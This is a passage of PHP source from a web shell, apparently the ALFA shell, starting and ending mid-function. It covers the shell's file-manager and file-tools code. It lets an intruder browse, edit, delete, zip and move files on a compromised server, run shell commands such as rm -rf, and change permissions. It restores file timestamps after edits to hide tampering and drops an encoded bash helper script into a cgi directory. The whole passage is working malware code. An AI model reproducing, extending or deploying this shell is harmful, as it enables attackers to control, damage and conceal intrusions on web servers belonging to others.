                            echo "<script>alfaShowNotification('folder isnt writable !', 'Files manager', 'error');</script>";
                        }
                    } else {
                        echo "<script>alfaShowNotification('Can\\'t create new dir !', 'Files manager', 'error');</script>";
                    }
                } else {
                    if (_alfa_is_writable($GLOBALS['cwd'])) {
                        if (!_alfa_is_dir(trim($_POST['alfa2']))) {
                            if (!@mkdir(trim($_POST['alfa2']))) {
                                echo "<script>alfaShowNotification('Can\\'t create new dir !', 'Files manager', 'error');</script>";
                            } else {
                                echo "<script>alfaShowNotification('" . addslashes($_POST['alfa2']) . " created...', 'Files manager');</script>";
                            }
                        } else {
                            echo "<script>alfaShowNotification('folder already existed', 'Files manager', 'error');</script>";
                        }
                    } else {
                        echo "<script>alfaShowNotification('folder isnt writable !', 'Files manager', 'error');</script>";
                    }
                }
                break;
            case 'delete':
                function deleteDir($path)
                {
                    $path = substr($path, -1) == '/' ? $path : $path . '/';
                    $dh = @opendir($path);
                    while (($item = @readdir($dh)) !== false) {
                        $item = $path . $item;
                        if (basename($item) == ".." || basename($item) == ".") {
                            continue;
                        }
                        $type = @filetype($item);
                        if ($type == "dir") {
                            deleteDir($item);
                        } else {
                            @unlink($item);
                        }
                    }
                    @closedir($dh);
                    @rmdir($path);
                }
                if (is_array(@$_POST['f'])) {
                    foreach ($_POST['f'] as $f) {
                        if ($f == '..') {
                            continue;
                        }
                        $f = rawurldecode($f);
                        if ($GLOBALS["glob_chdir_false"]) {
                            if (_alfa_can_runCommand(true, true)) {
                                alfaEx("rm -rf '" . addslashes($_POST['c'] . '/' . $f) . "'");
                            }
                        } else {
                            alfaEx("rm -rf '" . addslashes($f) . "'", false, false);
                            if (@is_dir($f)) {
                                deleteDir($f);
                            } else {
                                @unlink($f);
                            }
                        }
                    }
                }
                if (@is_dir(rawurldecode(@$_POST['alfa2'])) && rawurldecode(@$_POST['alfa2']) != '..') {
                    deleteDir(rawurldecode(@$_POST['alfa2']));
                    alfaEx("rm -rf '" . addslashes($_POST['alfa2']) . "'", false, false);
                } else {
                    @unlink(rawurldecode(@$_POST['alfa2']));
                }
                if ($GLOBALS["glob_chdir_false"]) {
                    $source = rawurldecode(@$_POST['alfa2']);
                    if ($source != '..' && !empty($source)) {
                        if (_alfa_can_runCommand(true, true)) {
                            alfaEx("cd '" . trim(addslashes($_POST['c'])) . "';rm -rf '" . addslashes($source) . "'");
                        }
                    }
                }
                if (is_array($_POST['f'])) {
                    return;
                }
                break;
            case 'paste':
                if ($_COOKIE['alfa_act'] == 'copy' && isset($_COOKIE['alfa_f'])) {
                    foreach ($_COOKIE['alfa_f'] as $f) {
                        copy_paste($_COOKIE['alfa_c'], $f, $GLOBALS['cwd']);
                    }
                } elseif ($_COOKIE['alfa_act'] == 'move' && isset($_COOKIE['alfa_f'])) {
                    function move_paste($c, $s, $d)
                    {
                        if (@is_dir($c . $s)) {
                            @mkdir($d . $s);
                            $h = @opendir($c . $s);
                            while (($f = @readdir($h)) !== false) {
                                if ($f != "." and $f != "..") {
                                    copy_paste($c . $s . '/', $f, $d . $s . '/');
                                }
                            }
                        } elseif (@is_file($c . $s)) {
                            @copy($c . $s, $d . $s);
                        }
                    }
                    foreach ($_COOKIE['alfa_f'] as $f) {
                        @rename($_COOKIE['alfa_c'] . $f, $GLOBALS['cwd'] . $f);
                    }
                } elseif ($_COOKIE['alfa_act'] == 'zip' && isset($_COOKIE['alfa_f'])) {
                    if (class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        $zipX = "alfa_" . rand(1, 1000) . ".zip";
                        if ($zip->open($zipX, 1)) {
                            @chdir($_COOKIE['alfa_c']);
                            foreach ($_COOKIE['alfa_f'] as $f) {
                                if ($f == '..') {
                                    continue;
                                }
                                if (@is_file($_COOKIE['alfa_c'] . $f)) {
                                    $zip->addFile($_COOKIE['alfa_c'] . $f, $f);
                                } elseif (@is_dir($_COOKIE['alfa_c'] . $f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/'));
                                    foreach ($iterator as $key => $value) {
                                        $key = str_replace('\\', '/', realpath($key));
                                        if (@is_dir($key)) {
                                            if (in_array(substr($key, strrpos($key, '/') + 1), array('.', '..'))) {
                                                continue;
                                            }
                                        } else {
                                            $zip->addFile($key, $key);
                                        }
                                    }
                                }
                            }
                            @chdir($GLOBALS['cwd']);
                            $zip->close();
                            __alert('>> ' . $zipX . ' << is created...');
                        }
                    }
                } elseif ($_COOKIE['alfa_act'] == 'unzip' && isset($_COOKIE['alfa_f'])) {
                    if (class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach ($_COOKIE['alfa_f'] as $f) {
                            if ($zip->open($_COOKIE['alfa_c'] . $f)) {
                                $zip->extractTo($_COOKIE['alfa_cwd']);
                                $zip->close();
                            }
                        }
                    }
                }
                unset($_COOKIE['alfa_f']);
                break;
            default:
                if (!empty($_POST['alfa1'])) {
                    if (in_array($_POST['alfa1'], array("copy", "move", "zip", "unzip"))) {
                        __alfa_set_cookie('alfa_act', @$_POST['alfa1']);
                        __alfa_set_cookie('alfa_f', @serialize($_POST['f']));
                        __alfa_set_cookie('alfa_c', @$_POST['c']);
                        return;
                    }
                }
                break;
        }
    }
    $dirContent = @scandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
    if (preg_match("#(.*)\\/\\.\\.#", $_POST['c'], $res)) {
        $path = explode('/', $res[1]);
        array_pop($path);
        $_POST['c'] = implode('/', $path);
    }
    $cmd_dir = false;
    if ($dirContent === false) {
        if (_alfa_can_runCommand(true, true)) {
            $tmp_getdir_path = @$_COOKIE["alfachdir_bash_path"];
            @chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
            if (!isset($_COOKIE["alfachdir_bash"]) || @(!file_exists($tmp_getdir_path . "/alfacgiapi/getdir.alfa"))) {
                $bash = "jZTfb5swEMef4a+4uaYkSmmS/YpEwsOkqVNfO+1hSqKKggnWwI4MEaFppL3vv9xfUtsYSKpMWh6I7/O9O9vcHVfvxrtCjJ8oGxep/fX+IcBT+/7ue4DdFXNtEqUc0BLZCRdAgTLAg6wALwQsfYdziLkN8rcNyzRAio0xRRrRBJZLwBSCANDtLYLra/D2Mr5KaZSCIGGcUfZrCOv1HMqUMB3VJcOD1gO8BLBiw86DBhpoO6G2RVnCZURRhiV4ESDnznd++M433yl856c/cULf+YLaLJa6n+u7+gzgCXWdUIiwhsViAQirbMi2ynpLAnzQynKyPurdeMWI6OjU0I3gu21H30tqFfS5j/6gSM5jmtQd+2hit0TkbJd3/NMJT3d5yDrls1EYqR571XWb1yALNBgApcFkLp8LfLjqfI6KjEYw7Av2JstIFu/QWT6m1J8e//7+05Qy5oy8PdNZuKxAU21zGV3zyXQ2m6G+vJbVXhVNlGJAkw/FQm5X7eVDVPKxF5V00LXVmb1KFkaVTyVUraSYOGFnm0Q84yJAeUjZ40YQwvRRZUKSmXT/FSo7tSR9aEEu+AgStx79abHqHf0SYipIVHJRn22kW0tpJ0fqYwTZ7LJQyM7OiL7uy8tlB5Jvy/rfbkWdP/GMRqCm6ML+OrA5tp7zwwqxMCcr5MNKTsEK3ch/5WpIs1RQT4GhZq2wHgODzVphNQqGNksFm2kwuDWUYJrEKJ3VSrpdTkRjt7IuzYls7OONrZu4+Z4djmv0Cg==";
                $tmp_getdir_path = alfaWriteTocgiapi("getdir.alfa", $bash);
                __alfa_set_cookie("alfachdir_bash", "true");
                __alfa_set_cookie("alfachdir_bash_path", $tmp_getdir_path);
            }
            $dirContent = alfaEx("cd " . $tmp_getdir_path . "/alfacgiapi;sh getdir.alfa '" . addslashes(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']) . "'");
            $dirContent = json_decode($dirContent, true);
            if (is_array($dirContent)) {
                array_pop($dirContent);
                $cmd_dir = true;
            } else {
                $dirContent = false;
            }
        }
    }
    alfahead();
    AlfaNum(8, 9, 10, 7, 6, 5, 4);
    $count_dirContent = @count($dirContent);
    if ($count_dirContent > 300) {
        @($_COOKIE["alfa_limited_files"] = 100);
    }
    $alfa_sort_by = isset($_COOKIE["alfa_sort_by"]) ? $_COOKIE["alfa_sort_by"] : 'name';
    $alfa_limited_files = isset($_COOKIE["alfa_limited_files"]) ? (int) $_COOKIE["alfa_limited_files"] : 0;
    $alfa_files_page_number = isset($_POST["pagenum"]) ? (int) $_POST["pagenum"] : 1;
    $alfa_filesman_direction = isset($_COOKIE["alfa_filesman_direction"]) ? $_COOKIE["alfa_filesman_direction"] : 'asc';
    $files_page_count = 1;
    if ($alfa_limited_files > 0) {
        $files_page_count = ceil($count_dirContent / $alfa_limited_files);
        if ($files_page_count > 1) {
            $files_page_count++;
        }
    }
    echo '<div><div class="filters-holder"><span>Filter: </span><input style="color:#25ff00;" autocomplete="off" type="text" id="regex-filter" name="name-filter" onkeydown="doFilterName(this);"><span style="margin-left:10px">Sort By: </span><select name="sort_files" onchange="sortBySelectedValue(this,\'alfa_sort_by\');" style="color:#25ff00;"><option value="name" ' . ($alfa_sort_by == 'name' ? 'selected' : '') . '>Name</option><option value="size" ' . ($alfa_sort_by == 'size' ? 'selected' : '') . '>Size</option><option value="modify" ' . ($alfa_sort_by == 'modify' ? 'selected' : '') . '>Modify</option></select><span style="margin-left:10px">Direction: </span><select name="direction_filesman" onChange="sortBySelectedValue(this,\'alfa_filesman_direction\')" style="color:#25ff00;"><option value="asc" ' . ($alfa_filesman_direction == 'asc' ? 'selected' : '') . '>Ascending</option><option value="desc" ' . ($alfa_filesman_direction == 'desc' ? 'selected' : '') . '>Descending</option></select><span style="margin-left:10px;"> limit: </span><input style="text-align:center;width: 40px;color:#25ff00;" type="text" name="limited_number" value="' . $alfa_limited_files . '" oninput="this.value=this.value.replace(/[^0-9]/g,\'\');setCookie(\'alfa_limited_files\', this.value, 2012);"><span style="margin-left:10px;">Files Count: <b style="color:#25ff00;">' . ($count_dirContent - 1) . '</b></span></div><div class="header">';
    if ($dirContent == false) {
        echo "<center><br><span style=\"font-size:16px;\"><span style=\"color: red; -webkit-text-shadow: 1px 1px 13px;\"><strong><b><big>!!! Access Denied !!!</b></big><br><br></strong></div>";
        alfaFooter();
        return;
    }
    global $sort;
    $sort = array('name', 1);
    if (isset($_COOKIE["alfa_sort_by"]) && !empty($_COOKIE["alfa_sort_by"])) {
        $sort[0] = $_COOKIE["alfa_sort_by"];
    }
    if (!empty($_POST['alfa1'])) {
        if (preg_match('!s_([A-z]+)_(\\d{1})!', $_POST['alfa1'], $match)) {
            $sort = array($match[1], (int) $match[2]);
        }
    }
    if ($alfa_files_page_number > $files_page_count - 1) {
        $alfa_files_page_number = 1;
    }
    $checkbox_rand = rand(11111, 99999);
    echo "<form onsubmit='fc(this);return false;' name='files' method='post'><table id='filemanager_table' width='100%' class='main' cellspacing='0' cellpadding='2'><tr><th width='13px'><div class='myCheckbox' style='padding-left:0px;'><input type='checkbox' id='mchk" . $checkbox_rand . "' onclick='checkBox(this);' class='chkbx'><label for='mchk" . $checkbox_rand . "'></label></div></th><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";
    $dirs = $files = array();
    $n = $count_dirContent;
    if ($n > $alfa_limited_files && $alfa_limited_files > 0) {
        $n = $alfa_limited_files * $alfa_files_page_number;
        if ($n > $count_dirContent) {
            $n = $count_dirContent;
        }
    }
    $i = 0;
    if ($alfa_limited_files > 0 && $alfa_files_page_number > 1) {
        $i = $alfa_limited_files * ($alfa_files_page_number - 1);
    }
    $page_builder = get_pagination_links($alfa_files_page_number, $files_page_count - 1);
    $cmd_dir_backp = "";
    for (; $i < $n; $i++) {
        if ($cmd_dir) {
            $filename = $dirContent[$i]["name"];
            $file_owner = $dirContent[$i]["owner"];
            $file_group = $dirContent[$i]["group"];
            $file_modify = @date('Y-m-d H:i:s', $dirContent[$i]["modify"]);
            $file_perm = alfaPermsColor(array("class" => $dirContent[$i]["permcolor"], "num" => $dirContent[$i]["permnum"], "human" => $dirContent[$i]["permhuman"]), true);
            $file_size = $dirContent[$i]["size"];
            if (substr($dirContent[$i]["name"], 0, 1) == "/") {
                $file_path = $dirContent[$i]["name"];
                $dirContent[$i]["name"] = "..";
                $filename = $dirContent[$i]["name"];
            } else {
                $file_path = $GLOBALS['cwd'] . "/" . $dirContent[$i]["name"];
            }
        } else {
            $filename = $dirContent[$i];
            $ow = function_exists("posix_getpwuid") && function_exists("fileowner") ? @posix_getpwuid(@fileowner($GLOBALS['cwd'] . $filename)) : array("name" => "????");
            $gr = function_exists("posix_getgrgid") && function_exists("filegroup") ? @posix_getgrgid(@filegroup($GLOBALS['cwd'] . $filename)) : array("name" => "????");
            $file_owner = $ow['name'] ? $ow['name'] : (function_exists("fileowner") ? @fileowner($GLOBALS['cwd'] . $filename) : "????");
            $file_group = $gr['name'] ? $gr['name'] : (function_exists("filegroup") ? @filegroup($GLOBALS['cwd'] . $filename) : "????");
            $file_modify = @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $filename));
            $file_perm = alfaPermsColor($GLOBALS['cwd'] . $filename);
            $file_size = @filesize($GLOBALS['cwd'] . $filename);
            $file_path = $GLOBALS['cwd'] . $filename;
        }
        $tmp = array('name' => $filename, 'path' => $file_path, 'modify' => $file_modify, 'perms' => $file_perm, 'size' => $file_size, 'owner' => $file_owner, 'group' => $file_group);
        if ($filename == ".." && !$cmd_dir) {
            $tmp["path"] = str_replace("\\", "/", realpath($file_path));
        }
        if (!$cmd_dir) {
            if (@is_file($file_path)) {
                $arr_mrg = array('type' => 'file');
                if (@is_link($file_path)) {
                    $arr_mrg["link"] = readlink($tmp['path']);
                }
                $files[] = array_merge($tmp, $arr_mrg);
            } elseif (@is_link($file_path)) {
                $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
            } elseif (@is_dir($file_path) && $filename != ".") {
                $dirs[] = array_merge($tmp, array('type' => 'dir'));
            }
        } else {
            if ($dirContent[$i]["type"] == "file") {
                $files[] = array_merge($tmp, array('type' => 'file'));
            } else {
                if ($dirContent[$i]["name"] != ".") {
                    $dirs[] = array_merge($tmp, array('type' => 'dir'));
                }
            }
        }
    }
    $GLOBALS['sort'] = $sort;
    function alfaCmp($a, $b)
    {
        if ($GLOBALS['sort'][0] != 'size') {
            return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
        } else {
            return ($a['size'] < $b['size'] ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
        }
    }
    usort($files, "alfaCmp");
    usort($dirs, "alfaCmp");
    if (isset($_COOKIE["alfa_filesman_direction"]) && !empty($_COOKIE["alfa_filesman_direction"])) {
        if ($_COOKIE["alfa_filesman_direction"] == 'desc') {
            $files = array_reverse($files);
            $dirs = array_reverse($dirs);
        }
    }
    $files = array_merge($dirs, $files);
    $l = 0;
    $cc = 0;
    foreach ($files as $f) {
        $f['name'] = htmlspecialchars($f['name']);
        $newname = mb_strlen($f['name'], 'UTF-8') > 60 ? mb_substr($f['name'], 0, 60, 'utf-8') . '...' : $f['name'];
        $checkbox = 'checkbox_' . $checkbox_rand . $cc;
        $raw_name = rawurlencode($f['name']);
        $icon = $GLOBALS['DB_NAME']['show_icons'] ? '<img src="' . findicon($f['name'], $f['type']) . '" width="30" height="30">' : '';
        $style = $GLOBALS['DB_NAME']['show_icons'] ? 'position:relative;display:inline-block;bottom:12px;' : '';
        echo '<tr class="fmanager-row" id="tr_row_' . $cc . '"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="' . $raw_name . '" class="chkbx" id="' . $checkbox . '"><label for="' . $checkbox . '"></label></div></td><td id="td_row_' . $cc . '">' . $icon . '<div style="' . $style . '"><a row="' . $cc . '" id="id_' . $cc . '" class="main_name" onclick="' . ($f['type'] == 'file' ? 'editor(\'' . $raw_name . '\',\'auto\',\'\',\'\',\'\',\'' . $f['type'] . '\');" href="#action=fileman&path=' . $GLOBALS['cwd'] . '&file=' . $raw_name . '" fname="' . $raw_name . '" ftype="file" path="' . $GLOBALS['cwd'] . '" opt_title="' . $f['link'] . '" ' . (isset($f['link']) ? 'onmouseover="showSymlinkPath(this,event);" onmouseout="hideSymlinkPath(this,event);"' : '') . '>' . ($GLOBALS['cwd'] . $f['name'] == $GLOBALS['__file_path'] ? "<span class='shell_name' style='font-weight:unset;'>" . $f['name'] . "</span>" : htmlspecialchars($newname)) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" href="#action=fileman&path=' . $f['path'] . '" fname="' . $raw_name . '" ftype="folder" path="' . $GLOBALS['cwd'] . '" opt_title="' . $f['link'] . '" ' . (isset($f['link']) ? 'onmouseover="showSymlinkPath(this,event);" onmouseout="hideSymlinkPath(this,event);"' : '') . '><b>| ' . htmlspecialchars($f['name']) . ' |</b>') . '</a></td></div><td><span style="font-weight:unset;" class="main_size">' . ($f['type'] == 'file' ? (isset($f['link']) ? '[L] ' : '') . alfaSize($f['size']) : $f['type']) . '</span></td><td><span style="font-weight:unset;" class="main_modify">' . $f['modify'] . '</span></td><td><span style="font-weight:unset;" class="main_owner_group">' . $f['owner'] . '/' . $f['group'] . '</span></td><td><a id="id_chmode_' . $cc . '" href=javascript:void(0) onclick="editor(\'' . $raw_name . '\',\'chmod\',\'\',\'\',\'\',\'' . $f['type'] . '\')">' . $f['perms'] . '</td><td><a id="id_rename_' . $cc . '" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\'' . $raw_name . '\', \'rename\',\'\',\'\',\'\',\'' . $f['type'] . '\')">R</a> <a id="id_touch_' . $cc . '" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\'' . $raw_name . '\', \'touch\',\'\',\'\',\'\',\'' . $f['type'] . '\')">T</a>' . ($f['type'] == 'file' ? ' <a id="id_edit_' . $cc . '" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\'' . $raw_name . '\', \'edit\',\'\',\'\',\'\',\'' . $f['type'] . '\')">E</a> <a id="id_download_' . $cc . '" title="Download" class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\'' . $raw_name . '\', \'download\')">D</a>' : '') . '<a id="id_delete_' . $cc . '" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # ' . addslashes(rawurldecode($f['name'])) . ' # ?\'); chk ? g(\'FilesMan\',null,\'delete\', \'' . $raw_name . '\') : \'\';"> X </a></td></tr>';
        $l = $l ? 0 : 1;
        $cc++;
    }
    echo "<tr id='filemanager_last_tr'><td colspan=7>\r\n<input type=hidden name=a value='FilesMan'>\r\n<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['glob_chdir_false'] ? $_POST['c'] : $GLOBALS['cwd']) . "'>\r\n<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n<select id='tools_selector' name='alfa1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete' selected>Delete</option><option value='zip'>Add 2 Compress (zip)</option><option value='unzip'>Add 2 Uncompress (zip)</option><option value='paste'>Paste / Zip / Unzip </option></select>\r\n<input type='submit' value=' '>\r\n</form></table><div class='pages-holder'><div class='pages-number'>" . $page_builder . "</div></div></div></div>";
    alfafooter();
}
function get_pagination_links($current_page, $total_pages)
{
    $links = "";
    if ($total_pages >= 1 && $current_page <= $total_pages) {
        $links = "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number\"><<</a>";
        $selected_page = "";
        if ($current_page == 1) {
            $selected_page = " active-page-number";
        }
        $links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number" . $selected_page . "\">1</a>";
        $i = max(2, $current_page - 5);
        if ($i > 2) {
            $links .= "<a class=\"page-number\">...</a>";
        }
        for (; $i < min($current_page + 6, $total_pages); $i++) {
            if ($i == $current_page) {
                $selected_page = " active-page-number";
            } else {
                $selected_page = "";
            }
            $links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number" . $selected_page . "\">{$i}</a>";
        }
        if ($i != $total_pages) {
            $links .= "<a class=\"page-number\">...</a>";
        }
        $selected_page = " last-page-number";
        if ($current_page == $total_pages) {
            $selected_page = " last-page-number active-page-number";
        }
        $links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number" . $selected_page . "\">{$total_pages}</a>";
        $links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number\">>></a>";
    }
    return $links;
}
function alfaFilesTools()
{
    alfahead();
    echo "<div class=\"filestools\" style=\"height: 100%;\">";
    if (isset($_POST['alfa1'])) {
        $_POST['alfa1'] = rawurldecode($_POST['alfa1']);
    }
    $alfa1_decoded = $_POST['alfa1'];
    $chdir_fals = false;
    if (!@chdir($_POST['c'])) {
        $chdir_fals = true;
        $_POST['alfa1'] = $_POST["c"] . "/" . $_POST["alfa1"];
        $alfa_canruncmd = _alfa_can_runCommand(true, true);
        if ($alfa_canruncmd) {
            $slashed_alfa1 = addslashes($_POST['alfa1']);
            $file_info = explode(":", alfaEx('stat -c "%F:%U:%G:%s:%Y:0%a:%A" "' . $slashed_alfa1 . '"'));
            $perm_color_class = alfaEx("if [[ -w '" . $slashed_alfa1 . "' ]]; then echo main_green_perm; elif [[ -r '" . $slashed_alfa1 . "' ]]; then echo main_white_perm; else echo main_red_perm; fi");
        }
    }
    if ($_POST['alfa2'] == 'auto') {
        if (is_array(@getimagesize($_POST['alfa1']))) {
            $_POST['alfa2'] = 'image';
        } else {
            $_POST['alfa2'] = 'view';
            if ($chdir_fals) {
                if ($alfa_canruncmd) {
                    $mime = explode(":", alfaEx("file --mime-type '" . addslashes($_POST['alfa1']) . "'"));
                    $mimetype = $mime[1];
                    if (!empty($mimetype)) {
                        if (strstr($mimetype, "image")) {
                            $_POST['alfa2'] = 'image';
                        }
                    }
                }
            }
        }
    }
    if ($_POST['alfa2'] == "rename" && !empty($_POST['alfa3']) && @is_writable($_POST['alfa1'])) {
        $rename_cache = $_POST['alfa3'];
    }
    if (@$_POST['alfa2'] == 'mkfile') {
        $_POST['alfa1'] = trim($_POST['alfa1']);
        if ($chdir_fals && $alfa_canruncmd) {
            if (_alfa_is_writable($_POST["c"])) {
                alfaEx("cd '" . addslashes($_POST["c"]) . "';touch '" . addslashes($alfa1_decoded) . "'");
                $_POST['alfa2'] = "edit";
            }
        }
        if (!@file_exists($_POST['alfa1'])) {
            $fp = @fopen($_POST['alfa1'], 'w');
            if ($fp) {
                $_POST['alfa2'] = "edit";
                fclose($fp);
            }
        } else {
            $_POST['alfa2'] = "edit";
        }
    }
    if (!_alfa_file_exists(@$_POST['alfa1'])) {
        echo __pre() . "<center><p><div class=\"txtfont\"><font color='red'>!...FILE DOEST NOT EXITS...!</font></div></p></center></div><script>editor_error=false;removeHistory('" . $_POST['alfa4'] . "');</script>";
        alfaFooter();
        return;
    }
    if ($chdir_fals) {
        $filesize = $file_info[3];
        $uid["name"] = $file_info[1];
        $gid["name"] = $file_info[2];
        $permcolor = alfaPermsColor(array("class" => $perm_color_class, "num" => $file_info[5], "human" => $file_info[6]), true);
    } else {
        $uid = function_exists("posix_getpwuid") && function_exists("fileowner") ? @posix_getpwuid(@fileowner($_POST['alfa1'])) : '';
        $gid = function_exists("posix_getgrgid") && function_exists("filegroup") ? @posix_getgrgid(@filegroup($_POST['alfa1'])) : '';
        if (!$uid && !$gid) {
            $uid['name'] = function_exists("fileowner") ? @fileowner($_POST['alfa1']) : '';
            $gid['name'] = function_exists("filegroup") ? @filegroup($_POST['alfa1']) : '';
        }
        $permcolor = alfaPermsColor($_POST['alfa1']);
        $filesize = @filesize($_POST['alfa1']);
        if (!isset($uid['name'], $gid['name']) || empty($uid['name']) || empty($gid['name'])) {
            if (_alfa_can_runCommand()) {
                list($uid['name'], $gid['name']) = explode(":", alfaEx('stat -c "%U:%G" "' . addslashes($_POST["c"] . "/" . $_POST["alfa1"]) . '"'));
            }
        }
    }
    if (substr($_POST['alfa1'], 0, 7) == "phar://") {
        $alfa_file_directory = $_POST['alfa1'];
    } else {
        $alfa_file_directory = str_replace("//", "/", ($chdir_fals ? "" : $_POST['c'] . '/') . $_POST['alfa1']);
    }
    echo '<div style="overflow: hidden;white-space: nowrap;text-overflow: ellipsis;"><span class="editor_file_info_vars">Name:</span> ' . htmlspecialchars(basename($alfa1_decoded)) . ' <span class="editor_file_info_vars">Size:</span> ' . alfaSize($filesize) . ' <span class="editor_file_info_vars">Permission:</span> ' . $permcolor . ' <span class="editor_file_info_vars">Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . ' <span class="editor_file_info_vars">Directory:</span> ' . dirname($alfa_file_directory) . '</div>';
    if (empty($_POST['alfa2'])) {
        $_POST['alfa2'] = 'view';
    }
    if (!_alfa_is_dir($_POST['alfa1'])) {
        $m = array('View', 'Download', 'Highlight', 'Chmod', 'Rename', 'Touch', 'Delete', 'Image', 'Hexdump');
        $ftype = "file";
    } else {
        $m = array('Chmod', 'Rename', 'Touch');
        $ftype = "dir";
    }
    echo "<div>";
    foreach ($m as $v) {
        echo $v == 'Delete' ? '<a href="javascript:void(0);" onclick="var chk=confirm(\'Are You Sure For Delete This File ?\');chk?editor(\'' . addslashes(!isset($rename_cache) ? $_POST['alfa1'] : $rename_cache) . '\',\'' . strtolower($v) . '\',\'\',\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\'):\'\';"><span class="editor_actions">' . (strtolower($v) == @$_POST['alfa2'] ? '<b><span class="editor_actions"> ' . $v . ' </span> </b>' : $v) . ' | </span></a> ' : '<a href="javascript:void(0);" onclick="editor(\'' . addslashes(!isset($rename_cache) ? $_POST['alfa1'] : $rename_cache) . '\',\'' . strtolower($v) . '\',\'\',\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\')"><span class="editor_actions">' . (strtolower($v) == @$_POST['alfa2'] ? '<b><span class="editor_actions"> ' . $v . ' </span> </b>' : $v) . ' | </span></a>';
    }
    echo "</div>";
    switch ($_POST['alfa2']) {
        case 'view':
        case 'edit':
            @chdir($_POST['c']);
            $disabled_btn = "";
            if (!@is_writable($_POST['alfa1']) && !_alfa_is_writable($_POST['alfa1'])) {
                $disabled_btn = "disabled=disabled";
                $disabled_btn_style = 'background: #ff0000;color: #fff;';
            }
            if (!empty($_POST['alfa3'])) {
                $_POST['alfa3'] = substr($_POST['alfa3'], 1);
                $time = @filemtime($_POST['alfa1']);
                $fp = @__write_file($_POST['alfa1'], $_POST['alfa3']);
                if ($chdir_fals && $alfa_canruncmd) {
                    $rname = $alfa1_decoded;
                    $randname = $rname . rand(111, 9999);
                    $filepath = dirname($_SERVER["SCRIPT_FILENAME"]) . "/" . $randname;
                    if ($fp = @__write_file($filepath, $_POST['alfa3'])) {
                        alfaEx("mv '" . addslashes($filepath) . "' '" . addslashes($_POST["alfa1"]) . "';rm -f '" . addslashes($filepath) . "'");
                    }
                }
                if ($fp) {
                    echo "Saved!<br>";
                    @touch($_POST['alfa1'], $time, $time);
                }
            }
            echo '<div class="editor-view"><div class="view-content editor-ace-controller"><div style="display:inline-block;">' . _alfa_load_ace_options("editor") . '<button style="border-radius:10px;" class="button ace-controler" onClick="copyToClipboard(this);">Copy</button> <button class="button ace-controler" onclick="alfaAceToFullscreen(this);">Full Screen</button> <button onclick="var ace_val = alfa_ace_editors.editor[this.getAttribute(\'ace_id\')].getValue();editor(\'' . addslashes($alfa1_decoded) . '\',\'edit\',\'1\'+ace_val,\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\');return false;" class="button ace-controler ace-save-btn" style="width: 100px;height: 33px;' . $disabled_btn_style . '" ' . $disabled_btn . '>save</button></div><pre class="ml1 view_ml_content">';
            echo htmlspecialchars(__read_file($_POST['alfa1']));
            echo "</pre></div></div>";
            break;
        case 'highlight':
            @chdir($_POST['c']);
            if (@is_readable($_POST['alfa1'])) {
                echo "<div class=\"editor-view\"><div class=\"view-content\"><div class=\"ml1\" style=\"background-color: #e1e1e1;color:black;\">";
                $code = @highlight_file($_POST['alfa1'], true);
                echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div></div></div>';
            }
            break;
        case 'delete':
            @chdir($_POST['c']);
            if (@is_writable($_POST['alfa1']) || $GLOBALS["glob_chdir_false"]) {
                $deleted = true;
                if (!@unlink($_POST['alfa1'])) {
                    $deleted = false;
                    if ($alfa_canruncmd) {
                        if (_alfa_is_writable($_POST['alfa1'])) {
                            alfaEx("rm -f '" . addslashes($_POST['alfa1']) . "'");
                            $deleted = true;
                        }
                    }
                }
                if ($deleted) {
                    echo 'File Deleted...<script>var elem = $("' . $_POST['alfa4'] . '").parentNode;elem.parentNode.removeChild(elem);delete editor_files["' . $_POST['alfa4'] . '"];</script>';
                } else {
                    echo "Error...";
                }
            }
            break;
        case 'chmod':
            @chdir($_POST['c']);
            if (!empty($_POST['alfa3'])) {
                $perms = 0;
                for ($i = strlen($_POST['alfa3']) - 1; $i >= 0; --$i) {
                    $perms += (int) $_POST['alfa3'][$i] * pow(8, strlen($_POST['alfa3']) - $i - 1);
                }
                if (!@chmod($_POST['alfa1'], $perms)) {
                    if ($chdir_fals && $alfa_canruncmd) {
                        alfaEx("cd '" . addslashes($_POST["c"]) . "';chmod " . addslashes($_POST['alfa3']) . " '" . addslashes($alfa1_decoded) . "'");
                        echo "Success!";
                    } else {
                        echo "<font color=\"#FFFFFF\"><b>Can't set permissions!</b></font><br><script>document.mf.alfa3.value=\"\";</script>";
                    }
                } else {
                    echo "Success!";
                }
            }
            clearstatcache();
            AlfaNum(8, 9, 10, 7, 6, 5, 4, 2, 1);
            if ($chdir_fals) {
                $file_perm = $file_info[5];
            } else {
